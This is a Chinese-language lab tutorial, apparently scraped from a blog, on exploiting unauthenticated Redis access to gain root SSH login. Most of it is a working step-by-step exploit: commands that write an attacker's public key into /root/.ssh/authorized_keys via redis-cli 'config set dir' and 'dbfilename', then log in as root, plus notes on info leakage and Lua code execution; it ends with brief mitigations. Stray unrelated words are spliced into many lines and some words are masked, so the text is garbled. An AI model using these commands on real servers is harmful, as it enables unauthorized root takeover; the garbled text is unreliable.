参考连接:https://www.sebug.net/vuldb/ssvid-89715redis
***者在未受权访问Redis的状况下能够利用Redis的相关方法,能够成功将本身的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而能够直接登陆目标服务器。
数据库
环境:服务器
KaLi:192.168.2.162ssh
CentOS:192.168.2.32 ide
CentOS部署了redis数据库函数
步骤:lua
1.在Kali上生成密钥对:
spa
命令:ssh-keygen -t rsa.net
2.将公钥写入 hack.txt 文件
code
命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt
3.连接redis数据库,写入文件:
命令:
$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit
$ redis-cli -h 192.168.2.32
$ 192.168.2.32:6379> config set dir /root/.ssh/
OK
$ 192.168.2.32:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.2.32:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.2.32:6379> save
OK
4.如今查看下 192.168.2.32 设备的/root/.ssh/authorized.keys文件,已经写进去了:
5.使用Kali上生成的私钥连接CentOS设备
命令:ssh -i id_rsa root@192.168.2.32
6.登陆成功。
7.敏感信息泄露:
经过redis的info命令。可查看服务器的相关参数和敏感信息,如图:
8.代码执行
redis能够嵌套lua脚本的特性将会致使代码执行,危害通其余服务器端的代码执行,如图:
一旦***者能够在服务端执行任意代码,***方式讲话会变得多且复杂。
经过lua代码***这能够调用redis.sha1hex()函数,恶意利用redis服务进行 SHA-1 的破解。
解决方案:
配置bind选项, 限定能够链接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG "RENAME_CONFIG", 这样即便存在未受权访问, 也可以给***者使用config指令加大难度
好消息是Redis做者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config